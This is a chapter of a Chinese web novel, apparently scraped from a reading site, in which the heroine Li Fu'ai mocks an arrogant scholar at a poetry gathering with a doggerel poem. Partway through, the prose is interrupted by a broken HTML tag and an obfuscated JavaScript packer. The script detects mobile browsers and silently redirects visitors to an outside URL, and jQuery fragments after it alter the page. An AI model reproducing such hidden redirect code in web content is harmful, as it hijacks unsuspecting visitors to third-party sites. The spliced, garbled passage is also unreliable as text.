48. 第 48 章
作品:《和反派太监搭伙过日子》 诗会行进到高潮,下一个人紧跟着前一人坐下的空隙站起来,李拂爱和容沁这样坐在后面观看的人也跟着积极起来。
李拂爱刚从这位小姐身上移开眼,又立马朝遮的严严实实的帘子处看去。
发展到这时,甚至开始斗诗了。
小姐们大多没有临时改诗,帘子的另一端,已经有改诗的公子了。
李拂爱听了这么久,也能听出每首诗表达的感情了,高兴的、忧愁的、壮志未酬的,还有无病呻吟的。
各人作各人的诗,诉说各自的生活或志向
李拂爱和容沁是下面的看客,为他们鼓掌。
这边刚坐下了个小姐,那边就站起来个公子,这公子上来就报上了自己的姓名,并不像大多数人一样报个自己的号。
他开口,声音响彻全场,无论站的多远都能清清楚楚的听到。
“今日正值春闺第三场,我王养,就应应今日的景,吟诗一首——”
他的诗中藏着对自己怀才不遇的愤懑、对世事的不满,还有对皇帝身边小人当权的讽刺。
王养年轻气盛,自傲和自大从未遮掩,它们溢出了心尖,赤裸裸的袒露出来。
他话音刚落,就引得场内吸气声连连。
本该在诗作之后出声点评两句的人们,皆纷纷窃窃私语。
李拂爱沉下脸,手指紧紧握住椅子把手。
王养真是好大的胆子,他诗中的小人,句句暗指宫中的太监们。
可在皇帝面前最得宠、最有权势的,不就是周守全吗?
他自己落榜考不上,却要骂天骂地骂一切,真是脸皮比地球的皮都厚。
这王养都指着周守全的鼻子骂了,李拂爱哪能忍。
周守全无法出声骂回去,但她能!
诗会的主持者是知道陛下在后头听着的,这首诗逼得他冷汗直流,见众人都纷纷沉默不语,后头的陛下又一声不发,他只好自己站出来开口敲打:“肃静!”
“王养,你犯癔症了吧?”
主持者还是抱着能救则救的想法的,若是此时收回,还不至于被治罪。若是一意孤行,王养就要万劫不复了。
场内寂静下来,数双眼睛看向王养。
王养轻笑一声,全然不惧道:“学生作诗,皆发自肺腑,出自真心。”
这句话,又引得众人惊叹连连。
李拂爱稳重的呼吸都维持不住了,真是给这个王养脸了,让他有脸站在这里嘲讽所有人。
主持者叹息一声,没再挽回。
李拂爱手掌一摁椅子扶手,猛然站了起来,她迈开脚步,大步往前走去。
容沁惊讶的看着李拂爱的背影,震惊的呆愣在椅子上。
她都忘了要拉住李拂爱,眼睛随着李拂爱的背影停留在遮蔽半间屋子的纱帘上。
李拂爱穿过一张张桌子,穿过娴静、优雅、自持身份的小姐们身边,站到纱帘面前。
藕色的纱帘影影绰绰的显出对面一排又一排的身影。
李拂爱深吸一口气,把纱帘掀开一个口子,小心的没有露出身后小姐们的身影来。
她站到所有男子对面,挺直腰板,无视所有人震惊的目光。
冷静的对坐在正中间的主持者说:“我可以探讨了吗?”
主持者是个中年男子,留着养的不错的胡子,他握着胡子的手僵住,目瞪口呆的看着李拂爱,听到李拂爱的声音,连忙答应:“可以、可以……”
李耀书见李拂爱毫无遮掩的站出来,惊的蹭的站起来。
他脚下刚动,就被李拂爱一个眼神制止了回去。
“我希望,我探讨的时候,所有人都不要打断我。”李拂爱盯着李耀书,凉凉的警告。
李耀书被他那群朋友拉了下去,其中一个人一手把李耀书的嘴堵住,对着李拂爱点了点头。
王养傲慢的给了李拂爱半分目光,慢慢吐出一个字:“请。”
李拂爱哪能惯着他,面露嘲讽、语含尖锥,直戳他的心头:“你的诗酸的都能腌咸菜了,考不过别人就去读书,在这耍嘴皮子算什么君子。”
“怨天怨地怨考卷,怎么这会儿不见你在家里温书备考?哦~我知道了,原来是你抵不住诱惑,出来玩疯了啊~”
“我知道,你肯定就是那种莫欺少年穷、莫欺中年穷、莫欺老年穷,死了要说死者为大,最后要在墓志铭上刻‘若有来生’的人吧。”
李拂爱微笑着说出了辛辣到扎透一片人的心的话。
她话音刚落,引得在场的公子们连连倒吸一口冷气。
李耀书的朋友们齐齐的举起大拇指,为李拂爱送上支持。
王养脸色漆黑,显然是被李拂爱的话气的不轻,他沉不住气,绞尽脑汁想出了一个为难李拂爱的难题。王养露出一个扭曲的笑容,故作平静的说道:“这里是诗会,请姑娘报上自己的名号,以诗与在下探讨。”
他不要脸的做法引得众人嘘声连连,立马就有人出声嘲讽他:“王养,你这是强词夺理,玩不起就别玩啊。”
李拂爱身后的纱帘中也传出声音来:“王公子未免太过赖皮了。”
这是容沁的声音,她忍不住从椅子上站起来,出声为李拂爱打抱不平。
容沁之后,纱帘后又传出了一道清透的声音,加入声讨王养的队伍中:“就是,探讨而已,王公子莫不是太过较真了。”
这些话砸在王养身上,他被气的脸越来越红。憋不住的愤怒的红脸,配上他一身的绿色衣衫,像一颗挂在绿枝上的红辣椒。
李拂爱背靠众人的声援,腰板不禁的挺的更直了。
她自信一笑,两手抬起往下压。面对王养的为难,李拂爱并没有感到手足无措,她反而有种游刃有余的感觉,李拂爱笑道:“感谢诸位的支持,王公子耳朵不好,听不懂人话,那我……张春花,就大发慈悲,给王公子治治耳朵。”
李拂爱心头一动,随口胡诌了个名字,紧接着悠游自在的作了一首打油诗出来:“指点江山易,下场文章难。唾溅金銮瓦,臀沉贡院床。事事毕恭敬,回回称忠良。尔等真有种,何不进官场?”
她慢悠悠的念出来,小小一首打油诗,李拂爱随口就来,她用儒生熟悉的方式把王养又骂了一遍。
这首打油诗做的并不算老练,也并不惊艳。但用在此处,简直不能再合适了。
“好!”、“说的对极了!”</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15205905|160611||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
纱帘内外,人们纷纷为李拂爱的打油诗献上掌声。掌声雷动,王养盯着李拂爱的眼睛中充满了怨毒。
“王公子,你这下听懂了吧?若是不满意,我还能唱给你听的。”等到掌声喝彩声渐消,李拂爱无视王养怨毒的视线,再接再厉的开口,句句戳到王养的心上。
主持者笑着捋捋胡子,连连点头。
“依我看,这位张姑娘对的极好,好了,咱们……继续吧!”主持者哈哈一笑,夸赞李拂爱一番,继续推进诗会的流程。
李拂爱抬手,弯腰,对着主持者行了个不伦不类的儒生礼。
进入纱帘前,她一手攀住飘逸的藕色蚕丝纱,回身,举起右手,右手拇指重重的朝下一指。对王养挑衅一笑,做了个口型道:“你,不行。”
纱帘掀起又落下,李拂爱朝着自己的座位走去。
迎接她的,是容沁和抱月崇拜又担忧的目光。
“拂爱,你太厉害了。”容沁小声的赞叹道,她挽住李拂爱的手臂,激动的晃了晃。
李拂爱坐下,感谢道:“你也是,谢谢你开口帮我说话。”
容沁和李拂爱这种无名氏不一样,她在京中贵女这个社交圈中是有名声的。容沁开口帮助李拂爱,无疑是把她自己放在场内诸人的眼皮底下展示。
对于性格内向、不善交际的人来说,这是一次大胆的决定。
李拂爱感激容沁的大胆,感激她的开口声援。
容沁不好意思的低下头,害羞的说:“这不算什么啦……”
……………
王养这个小插曲一闪而过,诗会又如火如荼的进行下去。
除了王养,没有一个人提前离场。
待到最后一首诗结束,一场大雪巧无声息的落下了。
主持者看着窗外飘飞的大雪,笑着结束了曲折的南湖诗会:“诸位,咱们以茶代酒,敬这场雪吧。”
大家举起茶杯,一齐饮下清冽的茶水。
带着帷帽的小姐们纷纷走出去,李拂爱和容沁夹在其中,等到了还被捂着嘴的李耀书。
李耀书是被他的朋友们捂着嘴带出来的,周围的公子们纷纷避开他们这一团奇怪的人。
见到了粉衣黄帽的李拂爱,李耀书才被放开了嘴。
李拂爱看着李耀书嘴巴边的一圈红色,噗嗤一声笑出声来。
李耀书扇着袖子,赶走了这群不靠谱的朋友们。
他的朋友们嘻嘻哈哈的上了一条船,连忙叫船家开船走人。
李耀书捂着自己的嘴巴,任凭李拂爱如何劝说,也不肯放下手。
岸上公子小姐众多,人人都不愿被大雪淋了一头雪,都赶忙上船。
李拂爱一行五人,又站在一起。雪下的越来越大,也顾不上船的大小了,她们找到了条空船,连忙跳上船,吩咐船家赶紧开船。
“快开船吧。”李拂爱把容沁的丫鬟接上来,坐好后催促道。
后头的船家穿着蓑衣,带着草帽,喝声道:“好嘞,开船咯!”
在遮天蔽日的大雪中,李拂爱看清前头人的身影,是那个跟着父亲开船的女子。
那女子用力划桨,笑道:“姑娘,又见面了。”